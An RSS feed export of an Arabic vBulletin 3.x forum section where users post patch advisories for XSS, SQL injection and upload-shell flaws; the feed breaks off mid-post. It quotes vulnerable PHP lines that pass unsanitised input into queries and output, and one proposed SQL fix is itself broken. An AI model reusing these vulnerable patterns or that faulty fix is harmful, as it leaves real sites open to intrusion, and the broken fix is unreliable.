<?xml version="1.0" encoding="windows-1256"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>منتدى الشبكة الكويتية -   قسم ثغرات النسخه الثالثه</title>
		<link>https://kwety.net/vb/</link>
		<description>هذا القسم لايقبل اي مشاركه .. فقط يتم وضع موضوع الثغره ومكتشفها وطريقة ترقيعها</description>
		<language>ar</language>
		<lastBuildDate>Sat, 18 Apr 2026 06:02:37 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>https://kwety.net/vb/5star/misc/rss.jpg</url>
			<title>منتدى الشبكة الكويتية -   قسم ثغرات النسخه الثالثه</title>
			<link>https://kwety.net/vb/</link>
		</image>
		<item>
			<title><![CDATA[ثغرة vBulletin xss 3.5.3&3.0.12]]></title>
			<link>https://kwety.net/vb/showthread.php?t=17925&amp;goto=newpost</link>
			<pubDate>Tue, 28 Feb 2006 05:19:06 GMT</pubDate>
			<description>ثغرة xss في جميع اصدارات vb الجيل الثالث تقريبا , ولكن مكتوب انها تعمل على 3.5.3 و 3.0.12 يعني اخر الاصدارات ,

Software: vBulletin
Vendor: http://www.vBulletin.com
Versions: 3.0.12-3.5.3
Class: Remote
Status: Unpatched
Exploit: Available
Solution: Available
Discovered by: imei addmimistrator
Risk Level: Medium

طبعا تشبهه ثغرات الفلاش لكن تختلف عنها ,, 


اولا شروط الثغره :
1: ان يكون الادمن مفعل ميزات البريد الالكتروني = نعم
2: ان يكون الادمن سامح للاعضاء بإرسال بالبريد الالكتروني الاعضاء الاخرين = نعم
3: ان يكون خيار ضمان الاستعمال (Use Secure Email Sending=No) = لا

واكثر المنتديات معموله بتلكـ الطريقه ,, 


تقفيل الثغرة بسيطة جدااا

من لوحة التحكم المنتدى ...
خيارات المنتدى 
إعدادات البريد الإكتروني 
هنا يرجع الامر لكـ 
اذا كنت ترغب الاعضاء بمراسلة بعضهم ..
عليكـ وضع ( نعم) على الخيارت التي بالصورة المرفق
اما اذا كنت لا ترغب عليكـ بوضع ( لا ) على الخيارت التي بالصورة ..
وبتكون هيكـ قفلت الثغرة ..
لاتستهين بالثغرة لانها خطيرة وانا بنفسي جربتها 

والله يحميكم من كل شر ومكروه ..

صورة: http://www.kwety.net/kwety1/q87/dfds.gif </description>
			<content:encoded><![CDATA[<div>ثغرة xss في جميع اصدارات vb الجيل الثالث تقريبا , ولكن مكتوب انها تعمل على 3.5.3 و 3.0.12 يعني اخر الاصدارات ,<br />
<br />
Software: vBulletin<br />
Vendor: <a href="http://www.vBulletin.com" target="_blank">http://www.vBulletin.com</a><br />
Versions: 3.0.12-3.5.3<br />
Class: Remote<br />
Status: Unpatched<br />
Exploit: Available<br />
Solution: Available<br />
Discovered by: imei addmimistrator<br />
Risk Level: Medium<br />
<br />
طبعا تشبهه ثغرات الفلاش لكن تختلف عنها ,, <br />
<br />
<br />
اولا شروط الثغره :<br />
1: ان يكون الادمن مفعل ميزات البريد الالكتروني = نعم<br />
2: ان يكون الادمن سامح للاعضاء بإرسال بالبريد الالكتروني الاعضاء الاخرين = نعم<br />
3: ان يكون خيار ضمان الاستعمال (Use Secure Email Sending=No) = لا<br />
<br />
واكثر المنتديات معموله بتلكـ الطريقه ,, <br />
<br />
<br />
تقفيل الثغرة بسيطة جدااا<br />
<br />
من لوحة التحكم المنتدى ...<br />
خيارات المنتدى <br />
إعدادات البريد الإكتروني <br />
هنا يرجع الامر لكـ <br />
اذا كنت ترغب الاعضاء بمراسلة بعضهم ..<br />
عليكـ وضع ( نعم) على الخيارت التي بالصورة المرفق<br />
اما اذا كنت لا ترغب عليكـ بوضع ( لا ) على الخيارت التي بالصورة ..<br />
وبتكون هيكـ قفلت الثغرة ..<br />
لاتستهين بالثغرة لانها خطيرة وانا بنفسي جربتها <br />
<br />
والله يحميكم من كل شر ومكروه ..<br />
<br />
<img src="http://www.kwety.net/kwety1/q87/dfds.gif" border="0" alt="" /></div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=17925</guid>
		</item>
		<item>
			<title>ثغرتين خطيرتين للنسخه 3.5.3</title>
			<link>https://kwety.net/vb/showthread.php?t=17923&amp;goto=newpost</link>
			<pubDate>Tue, 28 Feb 2006 01:22:17 GMT</pubDate>
			<description>السلام عليكم ورحمة الله 

قبل شوي جالس اتصفح الموقع الرسمي للفي بي 

وجدت هالثغرتين وهم functions_online 

وثغرة التقويم calendar.php



في نسخة 3.5.3 فما قبلها من النسخ 

ينصح بالترقية الى الاصدار 3.5.4

او استبدال الملفات 

الرابط الاصلي للموضوع 

http://www.vbulletin.com/forum/showthread.php?t=169997

في ملف الانكلودز 

includes/functions_online.php

calendar.php

استبدلهما بالملف المرفق فقط</description>
			<content:encoded><![CDATA[<div>السلام عليكم ورحمة الله <br />
<br />
قبل شوي جالس اتصفح الموقع الرسمي للفي بي <br />
<br />
وجدت هالثغرتين وهم functions_online <br />
<br />
وثغرة التقويم calendar.php<br />
<br />
<br />
<br />
في نسخة 3.5.3 فما قبلها من النسخ <br />
<br />
ينصح بالترقية الى الاصدار 3.5.4<br />
<br />
او استبدال الملفات <br />
<br />
الرابط الاصلي للموضوع <br />
<br />
<a href="http://www.vbulletin.com/forum/showthread.php?t=169997" target="_blank">http://www.vbulletin.com/forum/showthread.php?t=169997</a><br />
<br />
في ملف الانكلودز <br />
<br />
includes/functions_online.php<br />
<br />
calendar.php<br />
<br />
استبدلهما بالملف المرفق فقط</div>


	<br />
	<div style="padding:6px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>الملفات المرفقة</legend>
			<table cellpadding="0" cellspacing="3" border="0">
			<tr><td dir="rtl">
	<table border="0" cellpadding="0" width="100%" bordercolor="#444" id="table2" dir="rtl">
		<tr>
			<td><img border="0" class="inlineimg" src="https://kwety.net/vb/5star/attach/zip.gif" alt="&lt;phrase 1=&quot;zip&quot;&gt;نوع الملف: %1$s&lt;/phrase&gt;" width="16" height="16">
	<a href="https://kwety.net/vb/attachment.php?attachmentid=3635" target="_blank">
patch_35x.zip&rlm;</a>&nbsp;&nbsp;
<input type="text" name="T2" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value=" حجم الملف :  22.0 كيلوبايت">
<input type="text" name="T1" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value="المشاهدات غير معروف">&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;</td>
		</tr>
	</table>
			</table>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=17923</guid>
		</item>
		<item>
			<title>ثغرة جديده functions_online للنسخه 3.0.12</title>
			<link>https://kwety.net/vb/showthread.php?t=17922&amp;goto=newpost</link>
			<pubDate>Tue, 28 Feb 2006 01:19:48 GMT</pubDate>
			<description>السلام عليكم ورحمة الله 

قبل شوي جالس اتصفح الموقع الرسمي للفي بي 

وجدت هالثغره functions_online 

في نسخة 3.0.12 فما قبلها من النسخ 

ينصح بالترقية الى الاصدار 3.0.13

او استبدال الملف 

الرابط الاصلي للموضوع 

http://www.vbulletin.com/forum/showthread.php?t=169999

في ملف الانكلودز 

includes/functions_online.php

استبدله بالملف المرفق فقط 
منقول</description>
			<content:encoded><![CDATA[<div>السلام عليكم ورحمة الله <br />
<br />
قبل شوي جالس اتصفح الموقع الرسمي للفي بي <br />
<br />
وجدت هالثغره functions_online <br />
<br />
في نسخة 3.0.12 فما قبلها من النسخ <br />
<br />
ينصح بالترقية الى الاصدار 3.0.13<br />
<br />
او استبدال الملف <br />
<br />
الرابط الاصلي للموضوع <br />
<br />
<a href="http://www.vbulletin.com/forum/showthread.php?t=169999" target="_blank">http://www.vbulletin.com/forum/showthread.php?t=169999</a><br />
<br />
في ملف الانكلودز <br />
<br />
includes/functions_online.php<br />
<br />
استبدله بالملف المرفق فقط <br />
منقول</div>


	<br />
	<div style="padding:6px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>الملفات المرفقة</legend>
			<table cellpadding="0" cellspacing="3" border="0">
			<tr><td dir="rtl">
	<table border="0" cellpadding="0" width="100%" bordercolor="#444" id="table2" dir="rtl">
		<tr>
			<td><img border="0" class="inlineimg" src="https://kwety.net/vb/5star/attach/zip.gif" alt="&lt;phrase 1=&quot;zip&quot;&gt;نوع الملف: %1$s&lt;/phrase&gt;" width="16" height="16">
	<a href="https://kwety.net/vb/attachment.php?attachmentid=3634" target="_blank">
patch_30x.zip&rlm;</a>&nbsp;&nbsp;
<input type="text" name="T2" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value=" حجم الملف :  8.4 كيلوبايت">
<input type="text" name="T1" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value="المشاهدات غير معروف">&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;</td>
		</tr>
	</table>
			</table>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=17922</guid>
		</item>
		<item>
			<title>ثغرة جديدة في vBulletin  وحلها موجود معنا بأذن الله... New</title>
			<link>https://kwety.net/vb/showthread.php?t=16452&amp;goto=newpost</link>
			<pubDate>Wed, 25 Jan 2006 08:09:45 GMT</pubDate>
			<description>السلام عليكم ورحمة الله وبركاته ...

ثغرة جديدة وحلها موجود معنا بأذن الله...

وهنا من المصدر نفسه...

http://www.vbulletin.com/forum/showthread.php?t=133459

وتم اغلاق الثغرة ...

طريقة اغلاق الثغرة هي تبديل ملف functions_search.php في مجلد الانكلود 
بمعنى اخر رفع الملف الجديد بدل القديم ويفضل الاحتفاظ بنسخة من القديم...

وهنا النسخة المغلقة من الملف اتمنى من الجميع الاسراع واغلاق الثغرة في منتداه ...

والثغرة موجوده في جميع النسخ الجديدة من السبعة ونازل ... 

مع المعلومية ان الموضوع منقول ولا ادري عن صحته وحبيت ان اطرحه 

لكم هنا حسب اختصاصكم ولو فعلاً كانت صحيحة يا ليت الرد عليها والتوضيح بطريقة الإغلاق

وهل هي صحيحه وإبلاغ اخواني الأعضاء للحماية من هذه الثغرة مع المعلومية ان طريقة إغلاق الثغرة

موجود في الملف المرفق ... وما ابي منكم الا الدعاء فقط لا غير</description>
			<content:encoded><![CDATA[<div>السلام عليكم ورحمة الله وبركاته ...<br />
<br />
ثغرة جديدة وحلها موجود معنا بأذن الله...<br />
<br />
وهنا من المصدر نفسه...<br />
<br />
<a href="http://www.vbulletin.com/forum/showthread.php?t=133459" target="_blank">http://www.vbulletin.com/forum/showthread.php?t=133459</a><br />
<br />
وتم اغلاق الثغرة ...<br />
<br />
طريقة اغلاق الثغرة هي تبديل ملف functions_search.php في مجلد الانكلود <br />
بمعنى اخر رفع الملف الجديد بدل القديم ويفضل الاحتفاظ بنسخة من القديم...<br />
<br />
وهنا النسخة المغلقة من الملف اتمنى من الجميع الاسراع واغلاق الثغرة في منتداه ...<br />
<br />
والثغرة موجوده في جميع النسخ الجديدة من السبعة ونازل ... <br />
<br />
مع المعلومية ان الموضوع منقول ولا ادري عن صحته وحبيت ان اطرحه <br />
<br />
لكم هنا حسب اختصاصكم ولو فعلاً كانت صحيحة يا ليت الرد عليها والتوضيح بطريقة الإغلاق<br />
<br />
وهل هي صحيحه وإبلاغ اخواني الأعضاء للحماية من هذه الثغرة مع المعلومية ان طريقة إغلاق الثغرة<br />
<br />
موجود في الملف المرفق ... وما ابي منكم الا الدعاء فقط لا غير</div>


	<br />
	<div style="padding:6px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>الملفات المرفقة</legend>
			<table cellpadding="0" cellspacing="3" border="0">
			<tr><td dir="rtl">
	<table border="0" cellpadding="0" width="100%" bordercolor="#444" id="table2" dir="rtl">
		<tr>
			<td><img border="0" class="inlineimg" src="https://kwety.net/vb/5star/attach/zip.gif" alt="&lt;phrase 1=&quot;zip&quot;&gt;نوع الملف: %1$s&lt;/phrase&gt;" width="16" height="16">
	<a href="https://kwety.net/vb/attachment.php?attachmentid=3453" target="_blank">
functions_search.zip&rlm;</a>&nbsp;&nbsp;
<input type="text" name="T2" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value=" حجم الملف :  6.2 كيلوبايت">
<input type="text" name="T1" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value="المشاهدات غير معروف">&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;</td>
		</tr>
	</table>
			</table>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=16452</guid>
		</item>
		<item>
			<title>ثغرة ملف banning.php</title>
			<link>https://kwety.net/vb/showthread.php?t=16078&amp;goto=newpost</link>
			<pubDate>Fri, 13 Jan 2006 16:30:49 GMT</pubDate>
			<description>السلام عليكم ورحمة الله

اخواني هالثغره للنسخه التاسعه  

المهم استبدل ملف banning.php اللي عندك بالملف المرفق  
تجد المف على المسار التالي
vb/modcp/banning.php

رابط الموضوع الاصلي للشركه الام 

http://www.vbulletin.com/forum/showthread.php?t=153879</description>
			<content:encoded><![CDATA[<div>السلام عليكم ورحمة الله<br />
<br />
اخواني هالثغره للنسخه التاسعه  <br />
<br />
المهم استبدل ملف banning.php اللي عندك بالملف المرفق  <br />
تجد المف على المسار التالي<br />
<font color="#FF3300">vb/modcp/banning.php</font><br />
<br />
رابط الموضوع الاصلي للشركه الام <br />
<br />
<a href="http://www.vbulletin.com/forum/showthread.php?t=153879" target="_blank">http://www.vbulletin.com/forum/showthread.php?t=153879</a></div>


	<br />
	<div style="padding:6px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>الملفات المرفقة</legend>
			<table cellpadding="0" cellspacing="3" border="0">
			<tr><td dir="rtl">
	<table border="0" cellpadding="0" width="100%" bordercolor="#444" id="table2" dir="rtl">
		<tr>
			<td><img border="0" class="inlineimg" src="https://kwety.net/vb/5star/attach/rar.gif" alt="&lt;phrase 1=&quot;rar&quot;&gt;نوع الملف: %1$s&lt;/phrase&gt;" width="16" height="16">
	<a href="https://kwety.net/vb/attachment.php?attachmentid=3420" target="_blank">
banning.rar&rlm;</a>&nbsp;&nbsp;
<input type="text" name="T2" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value=" حجم الملف :  4.6 كيلوبايت">
<input type="text" name="T1" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value="المشاهدات غير معروف">&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;</td>
		</tr>
	</table>
			</table>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=16078</guid>
		</item>
		<item>
			<title>ثغرات لازم تقفل في منتداك</title>
			<link>https://kwety.net/vb/showthread.php?t=15365&amp;goto=newpost</link>
			<pubDate>Wed, 28 Dec 2005 04:40:33 GMT</pubDate>
			<description><![CDATA[الملفات موجودة بمجلد المنتدى الرئيسي :
قبل التعديل احفظ نسخه احتياطية 

الملف الاول ملف أخر 10 مواضيع
إبحث عن الداله التاليه

PHP:
----------
$fsel
----------
و الداله التاليه

PHP:
----------
$ftitle
----------
[blink]و إحذفهم[/blink]

وهم يكونوا فى ملف ttlast.php
و إن لم تجدهم فيه فستجدهم فى ملف last10.php
انتهى الترقيع لثغرة اخر 10 مواضيع 

[line]

2- ثغرة الرسائل الخاصه:
الترقيع للثغره :
فى ملف private.php

إبحث عن الكود التالى

PHP:
----------
// trim the text fields
 $pm['title'] = trim($pm['title']);
 $pm['message'] = trim($pm['message']);
----------
و إستبدله بالاتى


PHP:
----------
// trim the text fields
 $pm['title'] = trim(xss_clean($pm['title']));
 $pm['recipients'] = trim(xss_clean($pm['recipients']));
 $pm['message'] = trim($pm['message']);
----------
انتهى الترقيع لثغرة الرسائل الخاصة

[line]

3- ثغرة ملف التعليمات faq.php

الترقيع للثغره :

* افتح ملف faq.php وقم بالبحث عن الأسطر التاليه:

PHP:
----------
// initialize some template bits
$faqbits = '';
$faqlinks = '';
----------
أضف بعدها مايلي: 

PHP:
----------
$navbits[''] =$vbphrase['faq'];
----------
أنتهى الترقيع في ثغرة faq.php

[line]

4- ثغرة memberlist.php 

أ- اذهب إلى لوحة تحكم منتداك
ب- من خيارات المنتدى اذهب للخيار (قوائم الأعضاء و مشاهدة الهوية) و قم بالضغط على الخيار ( لا ) في أول الصفحة و احفظ العمل

انتهى

[line]

ثغرة مركز رفع الملفات

اولا: الثغرة متواجده في المراكز التحميل الملفات والهاكات التحميل بـ المنتديات الvb وغيرة وهـي أمتداد (3gp) تمكن المخترق من رفع shell.php.3gp 
وهذه الـشيل:::أختراق الموقع + احتمال السيرفر بالكامل 
وثغرات مركز التحميل بالامتدادات التالية: rar & jpg & gif & 3gp nEw

يااانك تحذف المركز التحميل وتفتك او انك تفتح المفكرة :: وتحط فيها هذه الكود:


Code:
---------
RemoveType .php .php3 .phtml .pl .cgi .rar .jpg .3gp .gif .asp
---------
htaccess 

وتـرفعه على نفس مجلد المركز التحميل من الاف تي بي FTP طبعا
وللعلم
لن تستطيع أن تسمى ملف .htaccess ولكنك ستجعله htaccess.txt وترفعه بالاف تى بى
وتعيد تسميته الى .htaccess بالاف تى بى

انتهى 

[line]

 ثغرة ملف editpost.php 

الترقيع للثغره :
*قم بفتح ملف editpost.php وابحث عن السطر التالي 

PHP:
----------
$edit['title'] = trim($_POST['title']);
----------
وسوف تجدها مرتين

إستبدلهم بالسطر التالى

PHP:
----------
$edit['title'] = trim(xss_clean($_POST['title']));
----------
انتهى

[line]

ثغرة ملف authorize.php

وهي ثغره من نوع SQL Injection.

وهو ملف خاص بتطبيق عمليات الشراء والتحقق من بعض مواقع الصرافات مثل paypal
وهو ليس لازم لعمل المنتدى فلو تم حذفه يكون أفضل 
الترقيع للثغره :
 

انا عن نفسى أفضل حذفه ولكن لو أردت الابقاء عليه مع ترقيعه فإبحث عن الكود التالى


PHP:
----------
$userid = $DB_site->query_first("SELECT userid, languageid, styleid FROM " . TABLE_PREFIX . "user WHERE userid = " . $item_number[1]);
----------
و إستبدله بالكود التالى


PHP:
----------
$userid = $DB_site->query_first("SELECT userid, languageid, styleid FROM " .

TABLE_PREFIX . "user WHERE userid = " .intval( item_number[1]));
----------
]]></description>
			<content:encoded><![CDATA[<div>الملفات موجودة بمجلد المنتدى الرئيسي :<br />
قبل التعديل احفظ نسخه احتياطية <br />
<br />
الملف الاول ملف أخر 10 مواضيع<br />
<font color="#0000FF">إبحث عن الداله التاليه</font><br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود PHP:</div>
	<div class="alt2">
		<hr />
		<code style="white-space:nowrap">
		<div dir="ltr" style="text-align:left;">
			<!-- php buffer start --><code><span style="color: #000000">
<span style="color: #0000BB">$fsel&nbsp;<br /></span>
</span>
</code><!-- php buffer end -->
		</div>
		</code>
		<hr />
	</div>
</div><font color="#0000FF">و الداله التاليه</font><br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود PHP:</div>
	<div class="alt2">
		<hr />
		<code style="white-space:nowrap">
		<div dir="ltr" style="text-align:left;">
			<!-- php buffer start --><code><span style="color: #000000">
<span style="color: #0000BB">$ftitle&nbsp;<br /></span>
</span>
</code><!-- php buffer end -->
		</div>
		</code>
		<hr />
	</div>
</div>[blink]و إحذفهم[/blink]<br />
<br />
وهم يكونوا فى ملف ttlast.php<br />
و إن لم تجدهم فيه فستجدهم فى ملف last10.php<br />
انتهى الترقيع لثغرة اخر 10 مواضيع <br />
<br />
[line]<br />
<br />
2- ثغرة الرسائل الخاصه:<br />
الترقيع للثغره :<br />
فى ملف <font color="#FF0000">private.php</font><br />
<br />
إبحث عن الكود التالى<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود PHP:</div>
	<div class="alt2">
		<hr />
		<code style="white-space:nowrap">
		<div dir="ltr" style="text-align:left;">
			<!-- php buffer start --><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #FF8000">//&nbsp;trim&nbsp;the&nbsp;text&nbsp;fields<br />&nbsp;</span><span style="color: #0000BB">$pm</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'title'</span><span style="color: #007700">&#93;&nbsp;=&nbsp;</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$pm</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'title'</span><span style="color: #007700">&#93;);<br />&nbsp;</span><span style="color: #0000BB">$pm</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'message'</span><span style="color: #007700">&#93;&nbsp;=&nbsp;</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$pm</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'message'</span><span style="color: #007700">&#93;);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code><!-- php buffer end -->
		</div>
		</code>
		<hr />
	</div>
</div><font color="#0000FF">و إستبدله بالاتى</font><br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود PHP:</div>
	<div class="alt2">
		<hr />
		<code style="white-space:nowrap">
		<div dir="ltr" style="text-align:left;">
			<!-- php buffer start --><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #FF8000">//&nbsp;trim&nbsp;the&nbsp;text&nbsp;fields<br />&nbsp;</span><span style="color: #0000BB">$pm</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'title'</span><span style="color: #007700">&#93;&nbsp;=&nbsp;</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">xss_clean</span><span style="color: #007700">(</span><span style="color: #0000BB">$pm</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'title'</span><span style="color: #007700">&#93;));<br />&nbsp;</span><span style="color: #0000BB">$pm</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'recipients'</span><span style="color: #007700">&#93;&nbsp;=&nbsp;</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">xss_clean</span><span style="color: #007700">(</span><span style="color: #0000BB">$pm</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'recipients'</span><span style="color: #007700">&#93;));<br />&nbsp;</span><span style="color: #0000BB">$pm</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'message'</span><span style="color: #007700">&#93;&nbsp;=&nbsp;</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$pm</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'message'</span><span style="color: #007700">&#93;);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code><!-- php buffer end -->
		</div>
		</code>
		<hr />
	</div>
</div>انتهى الترقيع لثغرة الرسائل الخاصة<br />
<br />
[line]<br />
<br />
3- ثغرة ملف التعليمات faq.php<br />
<br />
الترقيع للثغره :<br />
<br />
* افتح ملف faq.php وقم بالبحث عن الأسطر التاليه:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود PHP:</div>
	<div class="alt2">
		<hr />
		<code style="white-space:nowrap">
		<div dir="ltr" style="text-align:left;">
			<!-- php buffer start --><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #FF8000">//&nbsp;initialize&nbsp;some&nbsp;template&nbsp;bits<br /></span><span style="color: #0000BB">$faqbits&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">''</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$faqlinks&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">''</span><span style="color: #007700">;&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code><!-- php buffer end -->
		</div>
		</code>
		<hr />
	</div>
</div>أضف بعدها مايلي: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود PHP:</div>
	<div class="alt2">
		<hr />
		<code style="white-space:nowrap">
		<div dir="ltr" style="text-align:left;">
			<!-- php buffer start --><code><span style="color: #000000">
<span style="color: #0000BB">$navbits</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">''</span><span style="color: #007700">&#93;&nbsp;=</span><span style="color: #0000BB">$vbphrase</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'faq'</span><span style="color: #007700">&#93;;&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code><!-- php buffer end -->
		</div>
		</code>
		<hr />
	</div>
</div>أنتهى الترقيع في ثغرة faq.php<br />
<br />
[line]<br />
<br />
4- ثغرة memberlist.php <br />
<br />
أ- اذهب إلى لوحة تحكم منتداك<br />
ب- من خيارات المنتدى اذهب للخيار (قوائم الأعضاء و مشاهدة الهوية) و قم بالضغط على الخيار ( لا ) في أول الصفحة و احفظ العمل<br />
<br />
انتهى<br />
<br />
[line]<br />
<br />
ثغرة <font color="#0000FF">مركز رفع الملفات</font><br />
<br />
اولا: الثغرة متواجده في المراكز التحميل الملفات والهاكات التحميل بـ المنتديات الvb وغيرة وهـي أمتداد (3gp) تمكن المخترق من رفع shell.php.3gp <br />
وهذه الـشيل:::أختراق الموقع + احتمال السيرفر بالكامل <br />
وثغرات مركز التحميل بالامتدادات التالية: rar &amp; jpg &amp; gif &amp; 3gp nEw<br />
<br />
يااانك تحذف المركز التحميل وتفتك او انك تفتح المفكرة :: وتحط فيها هذه الكود:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">RemoveType .php .php3 .phtml .pl .cgi .rar .jpg .3gp .gif .asp</code><hr />
</div>htaccess <br />
<br />
وتـرفعه على نفس مجلد المركز التحميل من الاف تي بي FTP طبعا<br />
وللعلم<br />
لن تستطيع أن تسمى ملف <font color="#0000FF">.htaccess</font> ولكنك ستجعله htaccess.txt وترفعه بالاف تى بى<br />
وتعيد تسميته الى .htaccess بالاف تى بى<br />
<br />
انتهى <br />
<br />
[line]<br />
<br />
 ثغرة ملف editpost.php <br />
<br />
الترقيع للثغره :<br />
*قم بفتح ملف editpost.php وابحث عن السطر التالي <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود PHP:</div>
	<div class="alt2">
		<hr />
		<code style="white-space:nowrap">
		<div dir="ltr" style="text-align:left;">
			<!-- php buffer start --><code><span style="color: #000000">
<span style="color: #0000BB">$edit</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'title'</span><span style="color: #007700">&#93;&nbsp;=&nbsp;</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'title'</span><span style="color: #007700">&#93;);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code><!-- php buffer end -->
		</div>
		</code>
		<hr />
	</div>
</div>وسوف تجدها مرتين<br />
<br />
إستبدلهم بالسطر التالى<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود PHP:</div>
	<div class="alt2">
		<hr />
		<code style="white-space:nowrap">
		<div dir="ltr" style="text-align:left;">
			<!-- php buffer start --><code><span style="color: #000000">
<span style="color: #0000BB">$edit</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'title'</span><span style="color: #007700">&#93;&nbsp;=&nbsp;</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">xss_clean</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'title'</span><span style="color: #007700">&#93;));&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code><!-- php buffer end -->
		</div>
		</code>
		<hr />
	</div>
</div>انتهى<br />
<br />
[line]<br />
<br />
ثغرة ملف authorize.php<br />
<br />
وهي ثغره من نوع SQL Injection.<br />
<br />
وهو ملف خاص بتطبيق عمليات الشراء والتحقق من بعض مواقع الصرافات مثل paypal<br />
وهو ليس لازم لعمل المنتدى فلو تم حذفه يكون أفضل <br />
الترقيع للثغره :<br />
 <br />
<br />
انا عن نفسى أفضل حذفه ولكن لو أردت الابقاء عليه مع ترقيعه فإبحث عن الكود التالى<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود PHP:</div>
	<div class="alt2">
		<hr />
		<code style="white-space:nowrap">
		<div dir="ltr" style="text-align:left;">
			<!-- php buffer start --><code><span style="color: #000000">
